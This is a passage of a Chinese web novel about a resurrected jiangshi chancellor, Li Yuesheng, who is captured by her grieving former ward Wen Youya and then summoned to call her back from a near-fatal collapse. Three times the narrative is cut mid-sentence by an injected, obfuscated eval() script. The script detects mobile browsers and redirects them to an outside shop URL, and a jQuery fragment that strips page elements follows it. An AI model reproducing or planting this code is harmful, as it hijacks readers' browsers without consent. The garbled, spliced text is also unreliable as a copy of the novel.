因为城门口的排查非常严格,所以来往的人都排成了长队,闻釉崖与形形色色的人擦身而过,最后她的视线余光瞥见了不远处一道有些茫然的身影。
闻釉崖瞳孔骤缩,脚步立刻停在了原地。
那个人穿着粗布的衣衫,身上还有一些尘土。
但这些狼狈都无法让她的容颜有丝毫褪色,反而衬托得她肌肤如玉,眉眼似画。
尤其那双眼睛,似有温润的湖水微漾,她看着谁都是这副温柔包容的模样,心思稍微单纯一些的人就会被她这副样子骗了,其实这人是个黑心肝的,最擅长哄人心甘情愿地为她赴死。
闻釉崖看着远处那道熟悉的身影,眼神随着心口的疼痛愈发木然。
自己又瞧见她了。
这次倒是与梦中不同,她没有哭,也不是那副骸骨的模样。
眼前的那道身影是幻觉吗?自己还没有睡醒?又或是……那个人从山上下来的亡魂?
闻釉崖在不知不觉间将自己的呼吸声压得极轻,好似怕一丁点动静都可能会惊扰到亡魂。
忽然,一道马车疾驰而过。
闻釉崖的视线被遮挡了一瞬,她心脏漏跳了一拍,下意识往前走了两步,马车走后,那道似是亡魂的身影也转身离去,就好似当年她果断地抛下自己一样。
落下的阳光让她的背影有些朦胧,仿佛正在逐渐消失。
闻釉崖的心中升起了一丝莫名的惶恐,她本能般追了上去,但在碰触到对方的前一瞬闻釉崖就后悔了,她怕这如同镜花水月的身影就会触之即碎。
但闻釉崖没想到,自己竟然真的抓住了对方冰冷的手腕。
她用了很大的力气,那人不小心摔到了自己怀里,闻釉崖下意识护住了她,时隔七年,那熟悉的气息再次萦绕在她身旁。
然而这具身体和那夜雨中自己抱起的尸体一样冷,恍惚间,闻釉崖开始怀疑自己是不是真的疯了。
“唔……”
黎栎笙站稳后立刻小心戒备地看向拽住自己的女人。
然而只一眼,她就微微愣住了。
无论是对方那让她感觉到熟悉的眉眼,还是她眼中含泪的哀恸,都让黎栎笙心中泛起了一股酸涩。
那女人抬起颤抖的手轻抚在她的面庞上,一遍又一遍地摩挲着,对于黎栎笙来说,只要是活人的手,那对她来说都是温暖的,这女人掌心的温度让她感觉眷恋。
“黎……栎笙?”女人没什么血色的唇轻启,准确无误的说出了她的名字。
怎么刚下山就暴露了!
黎栎笙心虚地想将手往后缩,“咳,你……是谁?是不是认错人了?”
她想找个理由糊弄过去,结果一开口就发现自己面前这个女人的神情骤然破碎,眼眶微微泛红,就好像被所有人抛弃了一样,看起来可怜极了。
“你又不要我了吗?”哪怕变成了鬼,黎栎笙也要和自己划清距离?闻釉崖本就单薄的身体微微颤抖,可能是因为情绪起伏过大,她忽然开始咳嗽起来,黎栎笙眼尖地发现她的指缝间似乎有红色的痕迹。
原来是一位脆弱的病美人,黎栎笙不敢再将自己刚刚编好的借口说下去了,只怕一不小心又刺激到了她。
以前的自己和她究竟是什么关系?
黎栎笙看了一眼自己的手腕,这位病美人依然紧紧攥着自己,但她感觉自己是可以挣脱开的,眼下是离开的最好时机。
可是……
黎栎笙无论如何也迈不开离去的脚步,她甚至做了一个让她自己都有些费解的举动。
黎栎笙用另一只没有被束缚的手搂抱住这个陌生的女人,然后一下又一下轻轻拍着她的背,帮她顺气。
怀中之人在咳嗽中夹杂着的啜泣声让黎栎笙
“姐姐,你回来了对吗?”她带着哭腔的一声姐姐能让铁石心肠的人都软下心。
更何况黎栎笙还不是铁石心肠的人。
她轻抚着对方的背,刚想安慰一句别哭了的时候,怀中的人又忽然自问自答道:“我知道,你已经死了,不会再回来。”
说这句话的时候,她语气中的哭腔减少,多了一丝哀莫大于心死的空洞与带着危险的阴鸷。
“都是假的,你真心狠啊。”
死了的人怎么可能活过来呢,当年她的尸体是自己亲自收敛的,如今在自己面前的只可能是假货。
她多希望是真的。
黎栎笙心中一惊,闻釉崖骤然阴冷的气息让她感觉到了危险,她立刻松开对方往后退了一步,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168990|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黎栎笙的手腕还在闻釉崖手中,对方只是一个用力就又将她拽至身前。
对方又一次抚上了她的脸,只不过这次的动作不似之前那样轻柔,而是有些用力的摩挲过她的耳后以及脖颈处,好似在查找什么。
“竟然不是易容,还是说你直接换了脸皮?”
她刚刚那副小可怜的模样荡然无存,温柔与疯魔在刹那间交换,从某种程度上来说,她看起来比黎栎笙更像鬼。
闻釉崖一把掐住她的脖颈,仿佛只要她稍稍用力,这脆弱的脖子就能在她手中折断。
“说!你是谁派来的?”她的眼眸中满是憎恶与杀意。
黎栎笙死后,自己接手了她在外面的势力,那时候总有些人试图将和黎栎笙有几分相似的人送到自己身边,或是讨好,或是安插眼线。
闻釉崖恨她,但更厌恶有人在黎栎笙死了之后还要利用她最后的价值!
愤怒与厌恶让她没有注意到自己掐住的脖颈有些许异样。
“你误会了。”
黎栎笙只觉得脖子疼得厉害,她苦中作乐地想还好自己现在是僵尸了,不会有窒息的感觉。
看到她的眼眸中流露出痛苦的神色,闻釉崖怔愣了一下,哪怕心底将对方认定为赝品,可面对与她一模一样的脸时,闻釉崖发现自己竟然会心软。
这么多年过去了,自己还是没能走出那个狠心的女人设计的圈套,闻釉崖有些自嘲,然后神色变得更加可怕。
“让你来的人没有说吗?想要利用这张脸的,会被我剥了皮。”闻釉崖阴沉的言语间仿佛带着血腥,黎栎笙微颤了一下,她感觉对方是认真的。
她一时间不知道是被剥了皮更惨,还是被当成僵尸烧死更惨。
这样下去可不行,要是被这个人抓住,说不定上面这两个选项说不定都会招呼到自己身上!
“剥皮?”黎栎笙不退反进,被那样熟悉的面容贴近,闻釉崖的呼吸也不由得一滞。
“你掐住了我的脖子,难道就没有什么感觉吗?”黎栎笙抚上掐住自己脖颈的手,“你好好感受一下,这里在跳动吗?”
闻釉崖的脸色瞬间更白了,她的手不由得颤抖起来。
她的颈部没有脉象。
“我已经死了,死的时候好惨好疼啊,你要带我走吗?”黎栎笙不知道身为僵尸的自己能不能哭的出来,她努力做出一副要哭不哭的凄惨模样,再配上她没有活人气的脸,还真的有点儿像徘徊世间的亡魂。
正常人发现自己抓着一个鬼,就算不瘫在地上,也应该连滚带爬地跑了,比如说掘她坟的那几个人。
她想将闻釉崖吓住,但这人的反应和她想象的有些不太一样,闻釉崖的眼眸中有惊愕有茫然,那就是没有她想要的恐惧。
但她的手确实松了力气,黎栎笙趁这个机会挣脱开,然后一把推开了对方转身就跑。
黎栎笙注意到闻釉崖被自己推的摔倒在地上,她心中略过一丝不忍,但刚刚对方的疯狂还有扒皮言论给黎栎笙留下了不小的心理阴影,她咬咬牙没有停下脚步。
“黎栎笙!”
她的身后传来凄厉悲凉的喊声,那声音中的绝望让黎栎笙下意识回头看了一眼,只见那人伏在地上咳血不止,但即使如此,她依然向自己伸出了手,就好像绝境中的人想要抓住最后一根救命稻草似的。
不知为何,黎栎笙心中有一种说不出来的悲伤。
而就在这瞬息,几道黑影忽然从天而降,一人扶起了闻釉崖,剩下几个人将黎栎笙团团围住。
所有逃跑的方向都被堵死,黎栎笙在心中哀叹一声,不该心软的,这下僵尸的身份恐怕瞒不住啦。
5. 赝品
黎栎笙被那个疑似认识自己的陌生女人拽回家关进了柴房,柴房的门被关上的瞬间,黎栎笙听到了外面惊恐的声音。
“家主!快!喊府医过来!”
她下意识看向紧闭的柴房房门,心中升起了一丝担忧,那个人还好吗?
看那个女人病恹恹的样子,也不知道生了什么病,自己刚刚装鬼吓她,不、准确来说是暴露真实身份吓她,不会真把她吓出什么问题吧?
虽然她的某些行为有些疯癫,还想要把自己的脸皮剥下来,但黎栎笙心底里并不想她出事。
被扔到柴房角落里的黎栎笙抱膝而坐,刚刚她想多看那个女人一眼都被她凶巴巴的下属瞪回来了,不过他们的凶神恶煞看起来更有一种色厉内荏的感觉,就像在防什么恶鬼。
好吧,那个恶鬼应该就是自己。
黎栎笙轻叹了一口气,“她那里好歹还有大夫呢……”
不如多担心担心自己吧,自己才是人家的阶下囚,如果那个姑娘出了什么事,她的手下肯定不会放过自己这个罪魁祸首,如果那个姑娘没出事,以她刚刚的疯狂模样,说不定自己还要经历一场难熬的审讯。
柴房里很昏暗,到处都蒙着厚厚的灰尘,这里只有一扇门和一处开在高处的窗。
以黎栎笙的身高,她也要踩到旁边那个三条腿的坏凳子上才能探出头。
如今柴房的门和窗户都是紧闭着的,几乎没什么光亮透进来。
柴房里还有几捆柴火,黎栎笙将那些木柴往旁边推了推,给自己空出一个方便靠着那些柴火的位置。
说来也奇怪,在那山洞里藏着的时候,明明非常安全,自己却总有一种惶惶不安的感觉,现在被人抓到了这个柴房里,她却渐渐安定下来。
刚才被抓进来的时候有些慌慌张张,她没有仔细观察这个府宅的环境,现在仔细回忆起来,这一路上的布置也给她一种熟悉的感觉。
那个喜怒无常的女人应该也认识自己,而且一定和曾经的自己颇有渊源,说不定也是个机会呢,只希望是好的渊源,可千万别是孽缘啊。
黎栎笙回想起那个女人凄厉的呼喊,只觉得心脏略有些难受。
她闭上眼,那人熟悉的眉眼浮现在黎栎笙的脑海中,那双眼睛不应该是这幅凄苦黯淡的模样,她本应该是……
“嘶……”在黎栎笙脑海中的迷雾稍有散开的趋势时,突如其来的剧痛又打断了她的回忆。
她抱着脑袋,疼得蜷缩在柴堆间。
……
乌宵月在那山上找了一个晚上,可惜一无所获,直到白天的时候,她手底下的人才发现了山崖下面的盗墓贼。
他们的身上还带着盗墓的工具,那天晚上应该没有第二伙人会在大暴雨天爬到山上挖墓,但奇怪的是那三个盗墓贼的身上没有一件陪葬品。
乌宵月觉得这件事情透着古怪,黎相下葬的时候棺材里有许多金银玉器,既然盗墓贼都已经把她的棺材掀开了,又怎么可能一件东西都不拿?这显然不符合常理,而且棺材里面的陪葬品也确实全都消失了。
乌宵月站在那三个盗墓贼的尸体旁观察了一会,然后抬头看向旁边很陡的山坡。
那天晚上雨下得很大,山间的泥土非常湿滑,这三个盗墓贼可能没有看清路,所以全都脚滑摔下来摔死了。
是什么情况让他们如此慌张呢?陪葬品又去了哪里,黎相的尸身又在何处……
“大人,您看这里。”验尸的仵作一脸凝重的请乌宵月看其中一具尸体的脖子。
“这是……”乌宵月蹲下来仔细看了看,因为这处陡坡上多有石头和草木,这三个盗墓贼摔下来的尸体也颇为凄惨,到处都是伤痕,仵作指给她看的正是一个盗墓贼脖子上血淋淋的伤口。
乌宵月凝神细看后神情陡然凌厉起来,“这是撕咬的伤口?”
“是,而且从齿痕来看像是带有尖牙的人咬的,另外两具尸体的脖子上也有,属下初步断定这三人在摔死之前就已经遭遇了不测。”仵作的神色颇有些为难,似乎还有话想说。
“你还有什么猜测?一并说了。”乌宵月的脸色有些难看,这三个盗墓贼难道遭遇了螳螂捕蝉,黄雀在后的事情?
这还真的不是一起普通的盗墓案吗。
“属下……有些怪力乱神的猜测,属下家中世代都是仵作,从先祖到我都见过无数具尸体,其中也难免遇到过一些不正常的尸体,在先祖留下来的笔记中曾提到过有尸死而不腐,口生獠牙,于阴气极盛之夜复苏,是为僵尸。”
“僵尸诞生之后需吸人血,食人肉,一旦开了杀戒,就会为祸一方,这伤口……和属下先祖在笔记中记载的一模一样!”仵作的手微微颤抖,干这一行的,难免听过一些传说与忌讳,只是不知道这位昭武卫副指挥使愿不愿意相信。
树林中刮起阵阵阴风,像是在回应仵作说的话。
“荒谬,你难道想说是这三个盗墓贼挖开了黎相的墓,惊了她的尸,然后黎相变成僵尸从墓里跳出来咬死了他们三个,还把他们伪装成失足坠崖的样子,然后又带着自己的陪葬品藏起来了吗?”乌宵月将这些话说出来都觉得荒唐,“继续查,其中肯定有人想要故弄玄虚。”
“要是把你刚刚的话呈给陛下,你就等着看陛下是会相信你,还是会让你回家种地去。”
“是。”仵作擦了擦额头上的汗,乌大人说的也有道理,在先祖的记载中刚刚苏醒的僵尸没有太高的智慧,应该做不了那么多事情。
乌宵月将现场勘察过之后就有命人将盗墓贼的尸体抬下山,至于黎相的尸身……她也尽力去找了,这座山上所有的猛兽全都遭了殃,家都被掀了个底朝天,可是乌宵月连一块衣服碎片都没找到。
就算那些猛兽饿极了把人的尸骨啃了,也不可能把衣服鞋子吃干净,但是整座山上都没有一丁点痕迹。
事情越发诡异起来,乌宵月只能先下了山。
她虽然呵斥了仵作,但这一路上,对方的话却总是在她脑海中浮现。
僵尸……
太荒唐了。
乌宵月更倾向于那天晚上来到山上的有两拨人,第一波人就是那三个盗墓贼,他们打开了黎相的墓,盗走了里面的陪葬品。
当他们离开的时候遇上了第二波人,那些人抢他们的金银珠宝后杀他们,并伪装成失足摔死的样子,而后他们还因为某些原因盗走了黎相的尸骨。
人的尸体还能有什么价值呢?难不成是泄愤?
黎相生前可得罪过不少人,想将她挫骨扬灰的应该不在少数。
如果真是这样就麻烦了,无论是闻釉崖还是陛下,这个事情都不会善了的。
乌宵月回去的路上还在考虑自己该如何委婉地向闻釉崖提出自己的猜测,毕竟她的身体已经变成那个样子了,哪里还能承受噩耗。
她神色凝重地回到闻府,却没想到自己还没来得及说坏消息,噩耗就先一步来到她的面前。
府邸中并不太平,乌宵月甚至隐隐听到了哭声,她立刻赶往主屋,随后看见门口站了许多人,一个个都低着头满脸凝重肃穆。
“闻釉崖怎么了?”乌宵月快步走上前询问。
“家主她今天出门的时候遇到了一些事情,受到了不小的刺激,引发了七年前的暗疾,府医正在医治,但……府医说情况恐怕不大好了。”郑筱在说最后一句话的时候几乎哭了出来。
这位府医是江湖上赫赫有名的一位医者,因为欠了闻釉崖一个人情才留下来的,她说情况不大好,那就是真的非常危急。
乌宵月知道事情严重了,但此时她也帮不上什么忙,只能在心里祈祷大夫能把她救回来。
她进去看了一眼,大夫正在全力医治,屋子里飘着淡淡的血腥味,昏迷中的人脸色惨白,额头上冷汗涔涔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168991|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的气息越发微弱,乌宵月还能听见她含糊地呢喃着什么,仔细辨别才发现对方似乎说的是:“姐姐。”
能被她称为姐姐的也只有黎相。
乌宵月露出了有些怜悯的目光。
“情况如何?”乌宵月在大夫身边轻声询问。
“原本她的旧伤没有大碍,我已经为她调养得差不多了,但您也知道,她真正的问题是在心上,这几天接连受到刺激,心神俱损,进而引发了旧伤,两件事情加在一起才是最要命的。”大夫叹了口气,诉说自己的无奈。
“心气儿没了,就算医者有和阎王抢人的本事,也留不住人呐,这关能不能熬过去,得看她自己想不想活。”
乌宵月只觉得额头一抽一抽的疼,让闻釉崖有求生的意志?这么多年过去了,她还是这个样子,除非黎相复活,不然她实在不知该如何破局。
陛下和那些老鼠的较量还没有开始,就要先折损一大助力吗?
也不知道是谁在这个时候非要来招惹闻釉崖,乌宵月心中憋了口气,她悄悄离开房间,准备写信给陛下说明此地的情况。
同时她心里这口气肯定要发在招惹闻釉崖的人身上,当初黎相死前,陛下答应过她会照顾闻釉崖,如今恩师的墓被挖,要是连闻釉崖也出了事,那帝王之怒恐怕就无法平息了。
“到底出了什么事?我出门的时候她的情况分明还没有那么严重。”乌宵月从屋中出来后冷声问站在门口那几个人。
提到这个问题,场面瞬间安静下来,其他几个人面面相觑不知如何开口,最后是郑筱愤愤道:“今天家主出门的时候没让我们跟着,谁曾经就是今天,她出门的时候遇到了一个赝品!”
虽然那个人看起来和黎相七年前长得一模一样,一眼瞅过去格外吓人,但因为这些年有不少人找了形形色色的替身想往闻釉崖身边塞,所以几乎所有人都认为这又是赝品。
只不过这次的赝品太像了。
“赝品?又是与黎相相似的人?”乌宵月冷哼了一声,她本就瞧不上这些下作手段,况且又是在这个节骨眼上出现的可疑人物,她觉得或许是一个突破口。
“是。”
“她在哪里?带我去看看。”乌宵月决定亲自审问对方。
郑筱立刻将她引至柴房,乌宵月推开柴房的大门,光线渗透进昏暗的屋子,落在蜷缩在柴火中的人身上。
黎栎笙从头疼中缓了过来,她抬眼瞥向门口那人,因为之前头疼的影响,她的神情中可能带了一些不耐。
乌宵月刚准备踏进柴房的脚忽然收了回来,她像是看到了什么不可思议的东西,原本带着锋芒的眼眸微微抽动,哪怕是她,此时此刻也露出了惊悚的神色。
里头那个穿着粗布衣的女子站了起来,明明灭灭的光斑落到她的身上,虚幻得让人怀疑她是否只是一道不存在于世的影子。
那道影子往前走了几步,当她的眉眼彻底暴露在阳光下时,乌宵月颤抖着唇往后退了两步。
黎栎笙的脚步微微一顿,似乎对乌宵月的恐惧有些不解。
就算真的遇到了僵尸,乌宵月也能面不改色地将它的四肢全部剁下,但前提是那个僵尸不是可怕的黎相。
“她还好吗?”黎栎笙只是想关心一下那个被她恐吓的姑娘有没有个好歹。
“不好。”乌宵月下意识老实摇头。
黎栎笙微微蹙眉,明明她才是阶下囚,而且还是一副苍白瘦弱没有人气的样子,乌宵月的气势却弱了下来。
乌宵月控制住自己还在往后退一步的腿,心中勉强将惊骇的情绪压制下来。
这是赝品吗?不知道的还以为是黎相从棺材里爬出来了!
到底是谁弄出了这么一个完美无瑕的赝品,等等、完美无瑕……
乌宵月看向闻釉崖所在的主屋,心中忽然有了一个也不知能不能奏效的主意。
6. 替身
乌宵月暗叹如果这次来的不是自己,而是那几个有八百个心眼子的人就好,或许能有更好的办法。
如今没有能商量的人,她也不知道自己打算做的事情是对是错。
但闻釉崖都已经那个样子了,什么都不做单纯耗下去恐怕也是个死,既然如此,还不如尝试一下。
乌宵月做好心理准备后再看向黎栎笙,她努力压下心底发毛的感觉道:“你……叫什么名字?是谁派你来的?”
无论是死者死而复生还是变成了僵尸,至少在她看来都挺荒谬,乌宵月知道江湖上有不少邪术,比如说割脸换皮、溶制全身等等,别说一张脸了,就算是全身上下的皮都能调整,若是某些人有心为之,七年的时间足够他们弄出一具完美的赝品。
“……”黎栎笙张了张嘴,一时间语塞。
她们一个两个似乎都在怀疑自己背后有人,可是自己真的是一个刚刚从墓里爬出来的无辜僵尸。
而自己的名字……如果她说自己叫黎栎笙,会不会被眼前这个女人视作挑衅?
黎栎笙看了一眼对方紧握在剑柄上的手,想了想还是算了,那位好心的系统给自己寻来了一个复活的机会很不容易,她还是不要轻易挑衅别人了。
就在黎栎笙迟疑着要不要给自己取一个新名字的时候,乌宵月的耐心耗尽了,她的宝贵时间不是用在等黎栎笙想办法糊弄自己的事情上的。
“罢了,你要是不愿意说也无妨,你的名字也不重要,重要的是你知道自己犯了什么罪吗?”乌宵月沉声问。
黎栎笙的神色闪烁了一下,是指她吓到那个姑娘的事情吗?唯独这件事情让黎栎笙没办法否认,她支支吾吾地“嗯”了一声。
乌宵月愣了一下,她们两个之间产生了一点小小的误会,乌宵月以为黎栎笙认下了她是被人派过来图谋不轨的,所以还有些惊讶她竟然如此干脆利落。
“你知道就好,也省的我浪费口舌,你谋害的那位是被当今陛下视为亲妹的人,她如果身死,你就不只是被砍头那么简单了。”
死……
黎栎笙的眼底划过一抹怔愣,竟然严重到这种程度吗?
乌宵月没管她的反应继续道:“本来,在查明指使你的那些人后我会将你们全部押送至京城,不出意外的话,陛下会亲自过问这件事情,到那时候就再也没有回旋的余地。”
“轻则腰斩,重则凌迟。”乌宵月并不是在恐吓她,而是在阐述事实。
黎栎笙的眼底是有忧虑之色,只不过她的忧虑不是为了乌宵月口中的刑罚,她的目光飘向屋外某个地方,似乎还有些走神。
“但你还有一个将功补过的机会,如果不想死的话你就跟我过来,按照我说的做。”乌宵月转过身往前走,她没给黎栎笙拒绝的机会,这事由不得身后那个赝品决定。
黎栎笙跟上了乌宵月,她垂眸迟疑了好一会后才道:“我过去就能救她吗?”
乌宵月沉默了良久,“我不知道,你多向神仙菩萨祈祷吧,她活着,你才有机会活下去。”
乌宵月领着黎栎笙来到主屋,一路上她都在防备黎栎笙有逃跑的举动,幸好此人还挺识时务,乖巧的很。
不过守在门口的那些人一看到她身后的黎栎笙,立刻惊得摆出了防备的架势。
“好了,都把刀剑放下。”乌宵月环视一圈,让那些剑拔弩张的人都把自己的武器放下来。
黎栎笙的模样太诡异了,在场有一半的人都见过七年前的黎相,无论她是鬼还是赝品,闻釉崖的下属们都不是很想让她接近家主。
“乌大人,您这是?”郑筱的嗓音里都带着一些颤抖,刚刚黎栎笙看了她一眼,郑筱的腿都有些软了。
“带她过来喊魂。”乌宵月留下了一句莫名其妙的话后就带着黎栎笙进入了主屋。
“喊魂?等等乌大人,这个人来路不明,家主的病情本来就不好了,怎么能……”郑筱赶忙想要上前阻止,不过她身边的一个人忽然拦住了她。
“许洢?你怎么也拦我。”郑筱的武功远不如这位暗卫头子,许洢的手往她肩膀上一放,她就没办法继续往前了。
“乌大人说了,要去为家主喊魂。”许洢沉声道。
许洢是跟在闻釉崖身边最久的人,郑筱一直觉得她是整个宅子里最稳重靠谱的,但现在怎么也和乌大人一起说一些莫名其妙的话?
“喊什么魂?家主是旧伤发作,又不是受了惊失了魂……”在民间确实有所谓的喊魂仪式,比如说小儿在外面玩耍的时候不小心看到了脏东西或是受了惊,回来之后高烧不退说着胡话,老一辈的人就会说这孩子在外面丢了魂,需要大人们在外面把孩子的魂喊回来。
但郑筱实在不明白眼下这种情况和喊魂有什么关系。
许洢跟着她们一起走了进去,进去之前她回头看向郑筱,“你若想进来就不要说话,要么就继续在门口等着。”
郑筱担心自家家主安危,最后还是闭上嘴跟着进了房间。
大夫看着走进来的四个人微微摇头叹气道:“我已经尽力了,可惜……她的生机渐弱,留不住。”
郑筱眼眶一红差点哭出来,她死死咬着牙才没有发出声音。
“那如果她有了求生的意志,是不是就有生机了?”乌宵月问大夫。
“那是自然,只是可惜她这样子也不是一天两天了,如果能有办法,我早就给她治好了。”大夫又叹了口气,她取下扎在闻釉崖身上的银针,似乎有一种打算放弃的态度。
“既然如此,你过来,到床边喊她的名字,闻釉崖。”乌宵月对身后的黎栎笙道。
大夫颇有些惊讶地看向黎栎笙,这一眼让她的神色瞬间变了,大夫不认识黎栎笙,她入府的时候逆王之乱已经平息了数月,所以没有见过传说中的黎相。
但是医道讲究望闻问切,第一个就是望,她观黎栎笙脸无血色,胸口没有起伏,若说躺在床上的那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168992|196798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生机微弱,那自己眼前这个还能走动的就像是一个死人!
活人怎么可能是这个样子?大夫惊骇不已,下意识往后退了几步,正好将位置让给了黎栎笙。
黎栎笙没有注意到大夫的目光,此时此刻她全部的注意力都落在了床上那气息微弱的人身上。
不会跳动的心脏泛起微弱痛意,她坐在了床边,仔细观察着闻釉崖的模样。
她没有之前苏醒时的哀恸与疯狂,眼睛闭上之后,那些戾气随之融化,闻釉崖有着一双很容易招人怜惜的眼睛,看着就很乖巧,当她虚弱地躺在这里时,那种感觉又被放大。
黎栎笙几乎下意识抬手想要抚上她的脸,帮她擦一擦额头上的冷汗,不过旁边传来了一道轻咳声,她就只能收回手。
“丞相在时,私下大多唤家主小名月牙儿。”对那两位的纠葛更清楚的许洢道。
丞相呼唤家主小名时,是那尾调总带着些许不知何处的乡音,听起来颇有一种甜软宠溺的感觉,许洢学不来那个腔调。
她也不知道究竟是何方神圣弄出来的一个和丞相长得一模一样的赝品,甚至就连声音都一模一样,可惜自己没办法教会对方那种唤法,不然绝对能够以假乱真。
无论家主口中说着多憎恨丞相,如今能救她的也只有丞相。
“月牙儿。”黎栎笙在口中轻声呢喃了一遍。
不,这样念这三个字似乎有些不顺,黎栎笙按照乌宵月的要求一遍又一遍唤着闻釉崖的小名,渐渐的,她的口音发生了略微的调整。
在最后的那声呼唤中,她的尾调里带一丝缱绻的意味。
原本还一脸沉色的许洢骤然带上了惊愕的神色,她看向黎栎笙,似乎不敢相信自己听到的。
闻釉崖的指节微动。
大夫压下了心底那疑似见到死人走动的惊悚,她将对方的情况归结于江湖上的秘术,有些人为了获得更强的力量把自己弄成人不人,鬼不鬼的样子,或许眼前这个人也是一种呢。
她让自己的视线努力回到病人的身上,然后就发现了堪称奇迹的一幕。
“快!继续喊!”大夫大喜过望,没想到乌宵月还真的给自己寻来了一味“神药”!
黎栎笙看到她指尖微动,于是轻轻握住了她的手。
乌宵月迟疑了一瞬,这次却没再阻止。
“月牙儿,醒一醒。”
昏昏沉沉间,闻釉崖感觉自己好似听到了那声熟悉的呼唤,无论多么憎恨那个人,可再次听到她的声音,自己竟还有想要再看她一眼的渴望。
闻釉崖和月牙这两个名字都是那个人起的,她身上的一切都烙印下黎栎笙的痕迹,想要剥离一点,都需要和血肉一起割下,所以哪怕痛彻心扉,她也无法彻底割舍下那个人。
她想要睁开眼睛,可是眼皮太过沉重,她尽力了,却没能睁开。
你回来了吗?
还是说我要死了,你才愿意来见我一眼?
7. 被咬
“真是奇迹。”大夫季沅绫抓住机会又为闻釉崖施了一轮针,病人的脉象不再像刚刚那样虚无缥缈,算是暂时保住了命。
那三个字竟然有如此功效吗,唉……闻釉崖也是个苦命人。
季沅绫回头看向同样松口气的乌宵月道:“她的生机暂时稳住了,多亏了您,您是从哪里找到了这个……”
季沅绫的视线挪到黎栎笙身上,她本来差点脱口而出“死人”二字,但是当着人家的面说多不礼貌?于是她斟酌着换了一个词。
“您从哪里找了这么个宝贝?”
“宝贝?”乌宵月扯动了一下嘴角,她看着床榻边那两个人交握的手,语气并不算多好地道:“但愿不是什么祸害才好。”
闻釉崖或许能被暂时救回来,但是等她醒了之后呢?乌宵月觉得十分头疼。
大夫有些不明白,这位姑娘帮了那么大的忙,怎么能说人家是祸害?唯一不清楚内情的季沅绫本想为黎栎笙说两句好话,但是另外三个人的表情过于微妙,她想了想还是没问出口。
“家主的病情虽然暂时稳定下来了,但是什么时候能醒还是个未知数,这些天就让这位姑娘多在家主身边喊喊她的小名吧。”季沅绫道。
“那就每日将她送来这里一段时间。”乌宵月在袖子中摸索了一下,随后拿出了一个不起眼的小瓷瓶。
“走吧,你的命也暂时保住了,之后我让人给你送些吃的。”乌宵月催促黎栎笙可以离开了。
现在的闻釉崖没有丝毫自保能力,在没有人盯着的情况下,她可不敢让这个疑点重重的人和病人单独相处。
“好。”
黎栎笙知道自己该走了,她准备收回自己的手,而昏迷中的人似有所感,指尖竟然微微用了一些力道,似乎想要留下身边的人。
可惜黎栎笙的身后有三个人虎视眈眈,她也只能松开闻釉崖的手。
黎栎笙起身走出门的刹那,有一滴晶莹的泪珠从昏迷之人的眼角落入她的鬓间。
乌宵月前脚刚踏出房门,后脚就有一个身穿暗枢司官服的人急匆匆地来到她的身边,然后在她耳边低语了几句。
黎栎笙的听觉很好,虽然那两位可以压低了声音,但她还是听到了什么僵尸、咬死百姓之类的词语。
僵尸咬死人了?难不成这个城里还有她的同类?
乌宵月脸色微变,她瞧了一眼黎栎笙,然后摆了摆手让下属先退下,表示自己一会儿就出去。
本来她想抽空审问一下这个来路不明的赝品,但现在有更麻烦的事情出现了。
“在闻釉崖醒过来之前,我每天都会派人接你过去陪她,但是为了她的安全着想,我需要将这个东西放到你身上。”乌宵月将手中的瓷瓶拿了出来,她打开瓷瓶的木塞,一个和芝麻差不多大小的小虫子从瓶子里飞了出来,并径直钻进了黎栎笙的手臂中。
“这是一种蛊,你放心,只要你不动什么歪心思,这个蛊就不会对你产生任何影响。”
蛊……
黎栎笙的脑海中忽然浮现出一段对于这种蛊的认知。
牵心蛊,以少量活人的气血为食,不发作时对人的身体没有影响,发作起来就会穿肠烂心,但这种蛊有些娇气,它真的能在自己这个死人的身体里活下来吗?
“我不会伤害她的。”黎栎笙明白乌宵月的顾虑,同样也明白大概没有人会相信自己的话。
在暗枢司任职那么久,乌宵月早就明白敌人的言语是最不可信的东西,她没说什么,只是将人重新关进了柴房里,同时让这边的人记得给柴房送饭,省的这个暂时能救闻釉崖性命的赝品饿死了。
看在她能救家主的份上,厨房那边没有在饮食上苛刻黎栎笙,送来的餐食是一荤一素,再搭配一碗米饭。
但黎栎笙不是活人,她感觉不到饥饿,也不知道自己能不能吃活人的饭,谨慎起见她先尝了一片菜叶子,结果不但什么味道都没有尝出来,还差点把胆汁吐了出来。
好吧,看来自己不能碰活人的食物。
黎栎笙重新缩回角落里,她被关在柴房没有什么事情做,现在更是发现连饭都吃不了,所以大部分时候都在看着自己手臂上的红点发呆。
她会想那屋中的月牙儿,虽然对方之前掐自己的脖子,还威胁她说要把自己的皮扒了,但她感觉那个人有些可怜。
